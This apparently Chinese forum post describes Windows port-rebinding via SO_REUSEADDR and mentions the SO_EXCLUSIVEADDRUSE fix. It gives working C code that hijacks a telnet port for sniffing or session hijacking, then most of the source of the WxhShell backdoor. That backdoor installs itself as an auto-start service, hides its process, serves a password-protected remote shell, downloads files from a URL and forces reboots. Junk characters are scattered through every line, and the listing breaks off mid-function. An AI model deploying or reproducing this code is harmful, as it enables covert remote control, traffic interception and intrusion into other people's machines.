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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XHJ` C\xR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E>5p7=Or;"  
D{y7[#$h$  
  saddr.sin_family = AF_INET; H=~7g3  
,=G]tnsv^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dcq18~  
:06.b:_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /|H9Gm  
3 4%B0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^LB]  
z'1%%.r;FM  
  这意味着什么?意味着可以进行如下的攻击: %*Mr ^=  
:IJ<Mmb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |`o1B;lc  
w8UUeF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t18j2P>`  
3< 6h~ek )  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K*,,j\Q.  
LCj3{>{/=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /5L\:eX%  
?mK&Slh.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3pW4Ul@e  
H-u SdT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d2gYB qag  
rMjb,2*rC7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kF,ME5%  
/)K;XtcN  
  #include I 2OQ  
  #include 5cU:wc  
  #include Rcw[`q3/  
  #include    T!41[vm(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ck %if  
  int main() B B69U  
  { -}!mi V  
  WORD wVersionRequested; OX]P;#4tU  
  DWORD ret; ^=5y;  
  WSADATA wsaData; s]kzXzRC?  
  BOOL val; c[ 0`8s!  
  SOCKADDR_IN saddr; +U_1B%e(%  
  SOCKADDR_IN scaddr; gCG #?f  
  int err; L1g0Dd\Ox  
  SOCKET s; bE2O[B  
  SOCKET sc; R'>@ja*  
  int caddsize; 6H  U*,  
  HANDLE mt; TKGaGMx6@  
  DWORD tid;   'yA/sZ  
  wVersionRequested = MAKEWORD( 2, 2 ); V'Kied+  
  err = WSAStartup( wVersionRequested, &wsaData ); ZPb30M0  
  if ( err != 0 ) { m]fUV8U  
  printf("error!WSAStartup failed!\n"); `\;Z&jlpT  
  return -1; kRX?o'U~C  
  } GGcODjY>  
  saddr.sin_family = AF_INET; w3>11bE  
   F$'u`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $Q'z9ghEg  
f$-n %7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 55$';gh,9  
  saddr.sin_port = htons(23); m F+8Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !V/\_P!I  
  { Nz`v+sp  
  printf("error!socket failed!\n"); r[;d.3jtP  
  return -1; #<e D  
  } ceCO*m~  
  val = TRUE; n4+q7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U{[YCs fk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vZ srlHb  
  { } }~a4p>%  
  printf("error!setsockopt failed!\n"); n9J{f"`m  
  return -1; 4`:POu&  
  } wJq$yqos{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [v*q%Mi_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !|u?z%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |?g-8":H8P  
"gm5 DE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m9:ah<  
  { SvvNk  
  ret=GetLastError(); /JC1o&z_T  
  printf("error!bind failed!\n"); ?f q!BV  
  return -1; Zxqlhq/)  
  } v;;3 K*c>  
  listen(s,2); p0zC(v0*  
  while(1) LK}FI* A_  
  { l,l6j";ohd  
  caddsize = sizeof(scaddr); 6XU p$Pd(  
  //接受连接请求 BU??}{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gs3V]qbEP  
  if(sc!=INVALID_SOCKET) 6G"UXNa,  
  { h| wdx(4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?#Z4Dg 9|  
  if(mt==NULL) \ ya@9OA  
  { |#Lz0<c;  
  printf("Thread Creat Failed!\n"); p?cc Bq  
  break; g9VY{[ V  
  } g\.$4N  
  } ,3f>-mP  
  CloseHandle(mt); GCO: !,1  
  } `<>QKpAn  
  closesocket(s); kI@<H<  
  WSACleanup(); IHd W!q  
  return 0; "P(obk  
  }   $rr@3H+  
  DWORD WINAPI ClientThread(LPVOID lpParam) m26YAcip}  
  { +>!nqp  
  SOCKET ss = (SOCKET)lpParam; N AY3.e  
  SOCKET sc; u?dPCgs;h  
  unsigned char buf[4096]; U 887@-!3  
  SOCKADDR_IN saddr; 'xkl|P>=],  
  long num; 7f ub^'_  
  DWORD val; =IQ}Y_xr  
  DWORD ret; BYM6cp+S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {9V.l.Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kVKAG\F  
  saddr.sin_family = AF_INET; _]4 p51r0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pl1CPxSdO  
  saddr.sin_port = htons(23); >J S^yVk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -XV+F@`Md  
  { C&vi7Yx  
  printf("error!socket failed!\n"); 8Ala31  
  return -1; 1eshuL  
  } KHHYk>FR  
  val = 100; ;xzaW4(3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ fzYC'A=  
  { bl^Ihza  
  ret = GetLastError(); oU\7%gQ  
  return -1; -q{N1? tcy  
  } g:JSy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L98T!5)  
  { ~).D\Q\  
  ret = GetLastError(); JRFUNy1+e1  
  return -1; ws!~MSIy  
  } G(#t,}S}@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C7NSmZ  
  { z_ycH%p  
  printf("error!socket connect failed!\n"); p5or"tK  
  closesocket(sc); M;ADL|  
  closesocket(ss); ~:T@SrVI  
  return -1; 2m yxwA5  
  } b=:ud[h  
  while(1) 04;s@\yX4  
  { X]@"ZV[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o|z@h][(l(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ={oNY.(Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J$1H3#VV G  
  num = recv(ss,buf,4096,0); \b(&-=(  
  if(num>0) Ta?}n^V?;  
  send(sc,buf,num,0); N2A6C$s  
  else if(num==0) '0q$qN  
  break; *qO) MpG{  
  num = recv(sc,buf,4096,0); 0,ryy,2  
  if(num>0) =ejU(1 g  
  send(ss,buf,num,0); Yr-SlO>  
  else if(num==0) Ri"hU/H{  
  break; lN g){3  
  } 6 V0Ayxg7  
  closesocket(ss); JJ?rVq1g  
  closesocket(sc); j;coPehB  
  return 0 ; ..u{v}4&  
  } ( uD^_N]3  
f2IH2^)P  
#vV]nI<MF.  
========================================================== _(h=@cv  
A[;deHg=  
下边附上一个代码,,WXhSHELL  MYy58N  
vQi=13Pw  
========================================================== PZ8,E{V  
LPt9+sauf1  
#include "stdafx.h" oHx :["F  
L7 }nmP>aR  
#include <stdio.h> ; o_0~l=-/  
#include <string.h> C-c'"FHq  
#include <windows.h> P1LOj  
#include <winsock2.h> {j>a_]dTVX  
#include <winsvc.h> BM /FOY;  
#include <urlmon.h> 8Zsaq1S  
<5z!0m-G  
#pragma comment (lib, "Ws2_32.lib") CipDeqau2  
#pragma comment (lib, "urlmon.lib") t7F0[E'=5\  
+X^GS^mz  
#define MAX_USER   100 // 最大客户端连接数 W$zRUG-  
#define BUF_SOCK   200 // sock buffer ~bb6NP;'L  
#define KEY_BUFF   255 // 输入 buffer P5_Ajb(@'  
{ %X2K  
#define REBOOT     0   // 重启 lF!PiL  
#define SHUTDOWN   1   // 关机 vNs%e/~vj  
"V]*ov&[  
#define DEF_PORT   5000 // 监听端口 z f SE7i0  
mk1R~4v  
#define REG_LEN     16   // 注册表键长度 m1%rm-M  
#define SVC_LEN     80   // NT服务名长度 Yt(FSb31H  
K)Lo Z^x0)  
// 从dll定义API mv8H:T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gr2}N"X=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %BkE %ZcZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uKk#V6t#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N { oVz],  
F:ycV~bE  
// wxhshell配置信息 a4^hC[a  
struct WSCFG { [6mK<A,/  
  int ws_port;         // 监听端口 ru eaP  
  char ws_passstr[REG_LEN]; // 口令 I &iyj 99n  
  int ws_autoins;       // 安装标记, 1=yes 0=no $oQOOa@;i)  
  char ws_regname[REG_LEN]; // 注册表键名 J2VPOn  
  char ws_svcname[REG_LEN]; // 服务名 ;`7~Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h76j|1gI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GE!nf6>Km  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *% ;A85V/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "t4z)j;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" La1:WYt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |cY HH$  
%;:![?M  
}; .2JZ7  
}NC$Ce  
// default Wxhshell configuration cDz@3So.b  
struct WSCFG wscfg={DEF_PORT, n?r8ZDJ'  
    "xuhuanlingzhe", a^J(TW/  
    1, ]C,j80+pK  
    "Wxhshell", %;QK5L   
    "Wxhshell", Hl8-q!  
            "WxhShell Service", j "<?9/r  
    "Wrsky Windows CmdShell Service", &EV%g6  
    "Please Input Your Password: ", sX~E ~$_g  
  1, QZvQ8  
  "http://www.wrsky.com/wxhshell.exe", {k.:DH)  
  "Wxhshell.exe" fKY-@B[|  
    }; Cu#n5SF*  
?{TWsuP7  
// 消息定义模块 \2y/:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,V9qiu=m   
char *msg_ws_prompt="\n\r? for help\n\r#>"; uZn_*_J!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j_90iP^5:  
char *msg_ws_ext="\n\rExit."; Zb1GR5MB`k  
char *msg_ws_end="\n\rQuit."; PdO"e  
char *msg_ws_boot="\n\rReboot..."; qA7,txQ:  
char *msg_ws_poff="\n\rShutdown..."; L%v@|COQ3  
char *msg_ws_down="\n\rSave to "; ]j7`3%4uK  
qLL rR,:  
char *msg_ws_err="\n\rErr!"; GqCBD-@4v.  
char *msg_ws_ok="\n\rOK!"; tjtvO@?1-  
wGLMLbj5  
char ExeFile[MAX_PATH]; <T[LugI  
int nUser = 0; 3'.3RKV  
HANDLE handles[MAX_USER]; R&W%E%uj  
int OsIsNt; bDWL Hdu a  
G]aey>)  
SERVICE_STATUS       serviceStatus; ~Re4zU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fc`IRPW<  
'Jf LTG.  
// 函数声明 n+=qT$w)  
int Install(void); $;Fx Zkp  
int Uninstall(void); Xf&YcHo  
int DownloadFile(char *sURL, SOCKET wsh); X:Z3R0  
int Boot(int flag); p)B /(%  
void HideProc(void); QoxYzln  
int GetOsVer(void); Wd;t(5Xl  
int Wxhshell(SOCKET wsl); h623)C;  
void TalkWithClient(void *cs); MS""-zn<  
int CmdShell(SOCKET sock); %^lD  
int StartFromService(void); Gf.ywqE$Y$  
int StartWxhshell(LPSTR lpCmdLine); 72~L  ?  
ZskX!{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 87!jn'A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >A{Dpsi\  
 Q(w;  
// 数据结构和表定义 pl r@  
SERVICE_TABLE_ENTRY DispatchTable[] = B;[ .u>f  
{ ldTXW(^j  
{wscfg.ws_svcname, NTServiceMain}, M4)U [v  
{NULL, NULL} n[DRX5OxR'  
}; l GYW[0dy  
#w|v.35%?  
// 自我安装 eoww N>-2C  
int Install(void) hev;M)t  
{ $rW(*#C  
  char svExeFile[MAX_PATH]; CJN~p]\  
  HKEY key; =|AYT6z,  
  strcpy(svExeFile,ExeFile); }d}sC\>U  
%N&.B  
// 如果是win9x系统,修改注册表设为自启动 %7mGMa/  
if(!OsIsNt) { n32"cFPpT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DQ+6VPc^o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \l(J6Tu  
  RegCloseKey(key); 8zeeC eIU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h'em?fN(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ')q4d0B`"  
  RegCloseKey(key); JqO1 a?H  
  return 0; FLG"c690  
    } BJ5MCb.w  
  } A^).i_&#  
} fmK~?  
else { 8'@5X-nD  
15J"iN2"W  
// 如果是NT以上系统,安装为系统服务 F&!vtlV)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]CLM'$  
if (schSCManager!=0) DQK?y=vf  
{ ?0:]% t18  
  SC_HANDLE schService = CreateService tx d0S!  
  ( O#;sY`fy_M  
  schSCManager, `oNJ=,p  
  wscfg.ws_svcname, %bTuE' `b  
  wscfg.ws_svcdisp, 4Lg ,J9  
  SERVICE_ALL_ACCESS, sDNWB_~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9 l~D}5e7  
  SERVICE_AUTO_START, r}qDvC D  
  SERVICE_ERROR_NORMAL, 1A'eH:$  
  svExeFile, g(i6Uj~)  
  NULL, bj@sci(1?  
  NULL, ^X{U7?x  
  NULL, =$4I}2  
  NULL, f@YdL6&d-  
  NULL iwM xTty  
  ); A'`F Rx(  
  if (schService!=0) =| T^)J  
  { Az y`4  
  CloseServiceHandle(schService); !y XGAg,  
  CloseServiceHandle(schSCManager); >x*[izr/K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3);P !W4>  
  strcat(svExeFile,wscfg.ws_svcname); M rgj*|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D|(\5]:R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (<>??(VM  
  RegCloseKey(key); KE"6I  
  return 0; ;SI (5rS?  
    } ^BLO}9A{P  
  } 1_S]t[?I/  
  CloseServiceHandle(schSCManager); xz0t8`N oN  
} c=+%][21  
} V~*>/2+  
(U# ,;  
return 1; G@Z%[YNw  
} .n8O 3V  
+&)/dHbL`]  
// 自我卸载 #z>I =gl  
int Uninstall(void) Pl/Xh03E  
{ *K_8=TIA*  
  HKEY key; 0IqGy}+VU  
d6*84'|!  
if(!OsIsNt) { >6yQuB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^G`6Zg;  
  RegDeleteValue(key,wscfg.ws_regname); l4i 51S"  
  RegCloseKey(key); >vo 6X]p~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -){6ynqv  
  RegDeleteValue(key,wscfg.ws_regname); ,gZp/yJ;  
  RegCloseKey(key); 'gor*-o:wu  
  return 0; Kd 1=mC  
  } 3'x>$5 W  
} u-&V, *3l  
} Kkovp^G  
else { aHu0z:  
%dnpO|L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w;}5B~).  
if (schSCManager!=0) Nb:j]U  
{ AJ>E\DK0]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n\D/WLvM  
  if (schService!=0) `XE>Td>Bs  
  { Dk sn  
  if(DeleteService(schService)!=0) { Drtg7v{@\  
  CloseServiceHandle(schService); OKm,iIp]  
  CloseServiceHandle(schSCManager); G{6@]72  
  return 0; )jl@ hnA  
  } : 8>zo  
  CloseServiceHandle(schService); bC+Z R{M  
  } |~%RSS~b*  
  CloseServiceHandle(schSCManager); E8Kk )7  
} y "+'4:_  
} cO{NiRIb  
FVl, ttW  
return 1; %[KnpJ{\  
} f=V`Nn<=A  
p}sM"}Ul  
// 从指定url下载文件 VRY(@# q  
int DownloadFile(char *sURL, SOCKET wsh) 1 Q FsT  
{ 'Up75eT  
  HRESULT hr; RQWUO^&e^  
char seps[]= "/"; O,),0zcYF  
char *token; MOB4t|  
char *file; Zs/-/C|  
char myURL[MAX_PATH]; 6_" n  
char myFILE[MAX_PATH]; ]t!v`TH  
qspGNu  
strcpy(myURL,sURL); X\!q8KEpR&  
  token=strtok(myURL,seps); MF.!D;s  
  while(token!=NULL) IW i0? V  
  { Hk+44   
    file=token; Gi-pi=#&cs  
  token=strtok(NULL,seps); Ht+roY  
  } <w}i  
lwt,w<E$  
GetCurrentDirectory(MAX_PATH,myFILE); )|v  du  
strcat(myFILE, "\\"); G3|23G.~)(  
strcat(myFILE, file); En7+fQ  
  send(wsh,myFILE,strlen(myFILE),0); )G/=3;!  
send(wsh,"...",3,0); ESoqmCJjb:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i#YDdz  
  if(hr==S_OK) <H] PP6_g:  
return 0; ;DX{+Z[  
else Bn 8&~  
return 1; !lzj.|7=1  
"24d:vf\  
} 6 [XaIco=C  
9nQyPb6  
// 系统电源模块 ApSseBhh  
int Boot(int flag) %LC)sSq{H  
{ 4N= , 9  
  HANDLE hToken; U7fpaxc-  
  TOKEN_PRIVILEGES tkp; hb~d4J=S  
=CFg~8W  
  if(OsIsNt) { *g}==o`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z\C"/j<y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a9lYX*:  
    tkp.PrivilegeCount = 1; Ke@Bf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]b}3f<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); < q(i(%  
if(flag==REBOOT) { yD3vq}U!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M.5F|7  
  return 0; sCy.i/y  
} " Ke_dM  
else { =>Ae]mi 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4`v[p4k  
  return 0; ;;UsHhbhI  
} IuPDr %  
  } ~hk!N!J\  
  else { QP<P,Bi~  
if(flag==REBOOT) { rA<J^dX=C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :FSg%IUX  
  return 0; :W&kl UU"  
} GPAC0K^p  
else { vr47PM2al  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (.oDxs()I  
  return 0; FLPN#1  
} Th,]nVsGs~  
} E.$//P n|1  
@:hWahMy  
return 1; W{ozZuo  
} AS0(NlV  
_kOuD}_|  
// win9x进程隐藏模块 i-0AcN./p  
void HideProc(void) T06w`'aL  
{ X+emJ&Z$@  
Rbm+V{EF&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -,=)O  
  if ( hKernel != NULL ) Np9Pae'  
  { _mdJIa0D6k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jkuNafp}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )tV]h#4  
    FreeLibrary(hKernel); !Y^$rF-+  
  } &e[Lb:Uk)  
hhjsg?4uL  
return; *X|%H-Q:H`  
} .q]K:}9!\  
FGwgSrXL7  
// 获取操作系统版本 ,V4pFQzL  
int GetOsVer(void) QKz2ONV=)  
{ Q(8W5Fb?  
  OSVERSIONINFO winfo; c$A}mL_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /KvpJ4  
  GetVersionEx(&winfo); TKw>eGe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z-U3Tr SI  
  return 1; <N 80MU L|  
  else g5Hsz,x  
  return 0; $[=`*m  
} "J >, Hr9  
OK}8BY  
// 客户端句柄模块 WFeaX7\b  
int Wxhshell(SOCKET wsl) #@5 jOi  
{ CA"`7<,  
  SOCKET wsh; n |,}   
  struct sockaddr_in client; 4P24ySy9F  
  DWORD myID; y7*^H  
BYS>"  
  while(nUser<MAX_USER) 9*|An  
{ NX+ eig</-  
  int nSize=sizeof(client); ;rF:$37^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gY=+G6;=<  
  if(wsh==INVALID_SOCKET) return 1; 6d 8n1_  
N) z] F9Kg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q([g1?F9*  
if(handles[nUser]==0) v#IZSBvuQK  
  closesocket(wsh); oU 8o;zk0  
else Ox/va]e7"  
  nUser++; VxAR,a1+n  
  } J Y> I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wIbc8ze  
uoBPi[nK  
  return 0; ,%m$_wA$  
} gD fVY%[Z  
:\1&5Pm]  
// 关闭 socket 9Bmgz =8  
void CloseIt(SOCKET wsh) JeCEj=_Z  
{ X_|} b[b  
closesocket(wsh); }fxH>79g  
nUser--; `[1]wV5(5@  
ExitThread(0); [ 06B)|s  
} r?2C%GI`  
X4*/h$48 w  
// 客户端请求句柄 :Ws3+OI'm3  
void TalkWithClient(void *cs) Nb{oH+$b  
{ qm}7w3I^  
1-gX=8]]  
  SOCKET wsh=(SOCKET)cs; C{S6Ri  
  char pwd[SVC_LEN]; ln!KL'T]  
  char cmd[KEY_BUFF]; }mJ)gK5b 6  
char chr[1]; X}bgRzj  
int i,j; DFjkp;`1  
tbk9N( R  
  while (nUser < MAX_USER) { )ZmE"  
+V\NMW4d  
if(wscfg.ws_passstr) { )'<zC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bm7$DKp#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r*3XM{bZ/@  
  //ZeroMemory(pwd,KEY_BUFF); 'XQv>J  
      i=0; p|bpE F=U  
  while(i<SVC_LEN) { ~E`A,  
AAl`bhx'n  
  // 设置超时 "ChBcxvxb:  
  fd_set FdRead; z?YGE iR/}  
  struct timeval TimeOut; eZJOI1wNp  
  FD_ZERO(&FdRead); i|d41u;@  
  FD_SET(wsh,&FdRead);  y.eBFf  
  TimeOut.tv_sec=8; y.oJzU[p%  
  TimeOut.tv_usec=0; MDCf(LhEH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *'t`;m~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }&naP   
W]*wxzf!5z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SoY&R=  
  pwd=chr[0]; |$0/:*  
  if(chr[0]==0xd || chr[0]==0xa) { YvHn~gNPhs  
  pwd=0; %yrP: fg/  
  break; O@Kr}8^,  
  } Ua3ERBX{  
  i++; BR%:`uiQ<  
    } ohyUvxvj  
p]g/iLDZ  
  // 如果是非法用户,关闭 socket 2I4P":q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1-[{4{R  
} 1Q$ M/}  
xX>448=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U)o8Tr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4'8.f5  
/ q!&I  
while(1) { aH#|LrdJ  
nBj7Q!lW  
  ZeroMemory(cmd,KEY_BUFF); Fu><lN7  
4%{m7CK}  
      // 自动支持客户端 telnet标准   \%VoX` B  
  j=0; _0`O}  
  while(j<KEY_BUFF) { .lnD]Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O&0R ~<n  
  cmd[j]=chr[0]; [(K^x?\Y0'  
  if(chr[0]==0xa || chr[0]==0xd) { Ywr{/  
  cmd[j]=0; C|JWom\J  
  break; >) ^!gz8  
  } Q'Tn+}B&  
  j++; /][U$Q;Ke  
    } ljCgIfZ_4  
?0<3"2Db~  
  // 下载文件  t|DYz#]  
  if(strstr(cmd,"http://")) { >y@w-,1he  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K&h|r`W(  
  if(DownloadFile(cmd,wsh)) ^YZ#P0 y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lqs_7HhvRS  
  else /4 f;Niem  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8| /YxF<  
  } x/<. ?[A  
  else { #>V;ZV5"  
_ 8>"&1n  
    switch(cmd[0]) { w$!n8A qs  
  /L 4WWQ5  
  // 帮助 KKzvoc?Bt  
  case '?': { 'huLv(Uu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RPWYm  
    break; ro{MD s  
  } M>#{~zr  
  // 安装 >j?uI6Uw  
  case 'i': { G# C)]4[n  
    if(Install()) zYNJF>^<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U|QDV16f  
    else |g{AD`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57}q'84  
    break; Sq'z<}o  
    } /_|1,x-Kx  
  // 卸载 ?~{xL"  
  case 'r': { ^b#E%Rd  
    if(Uninstall()) ]=3O,\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@fE" )  
    else V_QVLW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k|D!0^HE[  
    break; VGq]id{*$  
    } .wSAysiQ|P  
  // 显示 wxhshell 所在路径 v> 5F[0gE  
  case 'p': { G Xl?Zg  
    char svExeFile[MAX_PATH]; [`lAc V<  
    strcpy(svExeFile,"\n\r"); sFTIRVXN,  
      strcat(svExeFile,ExeFile); Y(f-e,  
        send(wsh,svExeFile,strlen(svExeFile),0); xd3  
    break; U{Z>y?V/  
    } ^J_hkw~gO  
  // 重启 qr 9 F  
  case 'b': { 2vC=.1k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2 *$n?  
    if(Boot(REBOOT)) K&h6#[^\d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ihVQ,Cth  
    else { Ah`dt8t  
    closesocket(wsh); 4@I]PG  
    ExitThread(0); EUkNh>U?  
    } K36B9<F  
    break; g]#Wve  
    } _;{-w%Vf  
  // 关机 qg/5m;U  
  case 'd': { I .ty-X]  
